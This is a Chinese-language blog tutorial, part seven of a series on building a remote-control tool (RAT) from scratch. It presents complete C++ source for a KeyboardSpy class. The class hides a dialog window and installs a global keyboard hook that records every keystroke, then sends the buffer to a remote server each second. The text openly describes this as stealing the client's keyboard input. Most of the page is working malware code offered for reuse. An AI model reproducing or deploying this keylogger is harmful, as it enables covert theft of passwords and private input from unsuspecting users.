从零开始做远控 第七篇 键盘监控
2016-12-22 17:51
302 查看
如果你从没看过这系列教程请点击:从零开始做远控
简介篇
键盘监控:
那么快就到来第七节了,这两节我会跟大家讲讲怎么实时窃取客户端的每一个键盘输入,然后发送到服务端。
这一节我们会先做客户端方面的编程。
KeyboardSpy类:
1.现在在客户端创建一个KeyboardSpy的类。
2.因为这里需要用到消息循环,所以我们要建立一个对话框类,但是把它隐藏好。
3.用到Hook技术监控系统的键盘输入。
4.发送窃取的数据给服务端。
代码
KeyboardSpy.h
KeyboardSpy.cpp
5.在客户端的ZeroClient类doKeyboardSpy作修改
本节完整代码:
下载完整代码
简介篇
键盘监控:
那么快就到来第七节了,这两节我会跟大家讲讲怎么实时窃取客户端的每一个键盘输入,然后发送到服务端。
这一节我们会先做客户端方面的编程。
KeyboardSpy类:
1.现在在客户端创建一个KeyboardSpy的类。
2.因为这里需要用到消息循环,所以我们要建立一个对话框类,但是把它隐藏好。
3.用到Hook技术监控系统的键盘输入。
4.发送窃取的数据给服务端。
代码
KeyboardSpy.h
/* * * Author: sumkee911@gmail.com * Date: 22-12-2016 * Brief: 从客户端窃取键盘输入数据,再发给服务端。 * */ #ifndef KEYBOARDSPY_H #define KEYBOARDSPY_H #include "tcpsocket.h" #include <windows.h> #include <iostream> #include <vector> class KeyboardSpy { public: KeyboardSpy(); ~KeyboardSpy(); // 这个类的入口函数 static void startKeyboardSpy(std::string domain, int port); // 因为要出里win32数据, static void createDialogByNewThread(); static DWORD WINAPI threadProc(LPVOID args); static BOOL WINAPI keyboardSpyWndProc(HWND hWnd,UINT uiMsg, WPARAM wParam,LPARAM lParam); // 键盘数据结构 typedef struct { int iCode; int iScanCode; int iFlags; int iTime; int iExtraInfo; } HookStruct; // 安装和移除键盘窃取器,钩子 static HHOOK installKeyboardHook(); static void uninstallKeyboardHook(HHOOK hHook); static LRESULT CALLBACK keyboardHookProc(int nCode,WPARAM wParam, LPARAM lParam); // 更新或删除,socket,缓冲区 static void addSocket(TcpSocket *sock); static std::vector<TcpSocket*> getSockets(); static void delSocket(TcpSocket *sock); static void addBuffer(char data); static void delBuffer(); // 发送窃取的数据 static void CALLBACK sendKeyboardData(HWND hWnd,UINT uiMsg,UINT uiTimer,DWORD dwTimer); }; #endif // KEYBOARDSPY_H
KeyboardSpy.cpp
#include "keyboardspy.h" // 互挤体,用来确保线程安全 static CRITICAL_SECTION gCs; // 初始化类 static KeyboardSpy spy; // 窗口句柄 static HWND hWnd = NULL; // 键盘钩子句柄 static HHOOK gHHook = NULL; // socket列表 static std::vector<TcpSocket*> gSockets; // 键盘数据缓存区 static std::vector<char> gBuffer; KeyboardSpy::KeyboardSpy() { // 初始化互挤体 InitializeCriticalSection(&gCs); // 创建一个对话框来处理win32事件 createDialogByNewThread(); } KeyboardSpy::~KeyboardSpy() { if(hWnd) { // 关闭计时器 KillTimer(hWnd, 0); // 删除socket const int max = gSockets.size(); for (int i=0; i<max; ++i) { gSockets.at(i)->dissconnect(); delete gSockets.at(i); } // 关闭窗口 DestroyWindow(hWnd); // 移除键盘监控 if (gHHook) { uninstallKeyboardHook(gHHook); } } // 删除互挤体 DeleteCriticalSection(&gCs); } void KeyboardSpy::startKeyboardSpy(std::string domain, int port) { TcpSocket *sock = new TcpSocket(); if (!sock->connectTo(domain, port)) { // 释放socket delete sock; std::cout << "Failed to connect server for keyboard spy" << std::endl; std::fflush(stdout); return; } // 把socket加到列表,当有键盘数据就会调用socket addSocket(sock); // 输出信息 std::cout << "Started keyboard spy success" << std::endl; std::fflush(stdout); } void KeyboardSpy::createDialogByNewThread() { // 启动一个新线程来做监控 HANDLE h = CreateThread(NULL,0,KeyboardSpy::threadProc,(LPVOID)NULL,0,NULL); if (!h) { std::cout << "Failed to create new thread" << std::endl; std::fflush(stdout); } } DWORD KeyboardSpy::threadProc(LPVOID) { // 创建一个不可见的窗口来处理win32事件 WORD tempMem[1024]; LPDLGTEMPLATEA temp = (LPDLGTEMPLATEA)tempMem; temp->style=WS_CAPTION; temp->dwExtendedStyle=0; temp->x=0; temp->y=0; temp->cx=0; temp->cy=0; int ret = DialogBoxIndirectParamA(NULL,temp, NULL, keyboardSpyWndProc,(LPARAM)NULL); if (ret == -1) { std::cout << "Failed to create dialog box for keyboard spy" << std::endl; std::fflush(stdout); } return true; } WINBOOL KeyboardSpy::keyboardSpyWndProc(HWND hWnd, UINT uiMsg, WPARAM , LPARAM ) { switch(uiMsg) { // 初始化监控 case WM_INITDIALOG: { std::cout << "WM_INITDIALOG" << std::endl; std::fflush(stdout); // 定时发送窃取的数据 const int time = 1000; // 我这里设置1秒发送一次,你可以设置你自己想要的 SetTimer(hWnd,0, time, sendKeyboardData); // 安装键盘钩子来截取系统的所有键盘输入 gHHook = installKeyboardHook(); if (!gHHook) { std::cout << "Failed to install keyboard hook" << std::endl; std::fflush(stdout); } break; } case WM_PAINT: // 隐藏窗口 ShowWindow(hWnd,SW_HIDE); break; default: break; } return false; } HHOOK KeyboardSpy::installKeyboardHook() { return SetWindowsHookExA(13, keyboardHookProc, GetModuleHandleA(NULL), 0); } void KeyboardSpy::uninstallKeyboardHook(HHOOK hHook) { UnhookWindowsHookEx(hHook); } LRESULT KeyboardSpy::keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYDOWN) { HookStruct *hs = (HookStruct *)lParam; char data = hs->iCode; // 我这里只识别了常用的键盘,你如果想分析更多的话你可以自己重写这里, // 转换键盘虚拟码,你兴趣修改可以参考:http://www.cnblogs.com/del/archive/2007/12/07/987364.html。 bool isCapital = GetKeyState(VK_CAPITAL); if (hs->iCode >= 'A' && hs->iCode <= 'Z' && !isCapital) { // 判断是否大写,如果不是就把原本大写的字符变小写 data = data + 0x20; } else if (hs->iCode >= 0x60 && hs->iCode<= 0x69) { // 小键盘 data = data - 0x30; } else { // 符号 switch (hs->iCode) { case 106: data = '*'; break; case 107: data = '+'; break; case 109: data = '-'; break; case 110: data = '.'; break; case 111: data = '/'; break; case 186: data = ';'; break; case 187: data = '='; break; case 188: data = ','; break; case 189: data = '-'; break; case 190: data = '.'; break; case 191: data = '/'; break; case 192: data = '`'; break; case 219: data = '['; break; case 220: data = '\\'; break; case 221: data = ']'; break; case 222: data = '\''; break; } } // 把键盘数据加到缓冲区 addBuffer(data); } return CallNextHookEx(gHHook,nCode,wParam,lParam); } void KeyboardSpy::addSocket(TcpSocket *sock) { // 锁定函数,其他线程不能进来 EnterCriticalSection(&gCs); gSockets.push_back(sock); // 解除函数锁定 LeaveCriticalSection(&gCs); } std::vector<TcpSocket *> KeyboardSpy::getSockets() { // 锁定函数,其他线程不能进来 EnterCriticalSection(&gCs); std::vector<TcpSocket *> sockets = gSockets; // 解除函数锁定 LeaveCriticalSection(&gCs); return sockets; } void KeyboardSpy::delSocket(TcpSocket *sock) { // 锁定函数,其他线程不能进来 EnterCriticalSection(&gCs); std::vector<TcpSocket*>::iterator iter = gSockets.begin(); for (; iter!=gSockets.end(); ++iter) { if (*iter == sock) { gSockets.erase(iter); break; } } // 解除函数锁定 LeaveCriticalSection(&gCs); } void KeyboardSpy::addBuffer(char data) { gBuffer.push_back(data); } void KeyboardSpy::delBuffer() { gBuffer.clear(); } void KeyboardSpy::sendKeyboardData(HWND , UINT , UINT , DWORD ) { // 遍历所有已经连接的端口来发送键盘数据 if (gBuffer.size() > 0) { std::vector<TcpSocket*> sockets = getSockets(); int max = sockets.size(); for (int i = 0; i<max; ++i) { TcpSocket *sock = sockets.at(i); if (!sock->sendData(gBuffer.data(), gBuffer.size())) { // 删除无效socket delSocket(sock); // 释放socket delete sock; // 输出信息 std::cout << "Finished keyboard spy" << std::endl; } } // 清空缓冲区 delBuffer(); } }
5.在客户端的ZeroClient类doKeyboardSpy作修改
void ZeroClient::doKeyboardSpy(std::map<std::string, std::string> &args) { // 开始键盘监控 KeyboardSpy::startKeyboardSpy(mSock.mIp, atoi(args["PORT"].data())); }
本节完整代码:
下载完整代码
相关文章推荐
- 从零开始做远控 第八篇 键盘监控
- 从零开始做远控 第九篇 文件监控之查找/删除/下载/上传
- 从零开始做远控 第十篇 文件监控之查找/删除/下载/上传
- 从零开始做远控 第五篇 屏幕监控
- •windows键盘事件监控原理及应用-(2013/09/18)
- ACM从零开始---电子科大POJ "敲错键盘"
- 33. Spring Boot 监控和管理生产环境【从零开始学Spring Boot】
- python中使用pyhook实现键盘监控的例子
- 从零开始学android:Android事件处理—键盘事件
- (15)Spring Boot使用Druid和监控配置【从零开始学Spring Boot】
- Windows键盘事件监控原理及应用
- 键盘监控
- 用树莓派从零开始做一个家庭监控
- 在Linux下如何用Python监控键盘记录
- iOS中监控软键盘显示或隐藏的可靠方法
- 键盘监控的实现Ⅱ——容易产生误解的CallNextHookEx函数
- 从零开始搭建ELK+GPE监控预警系统
- winform窗体绑定监控键盘事件
- Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中
- JS监控键盘输入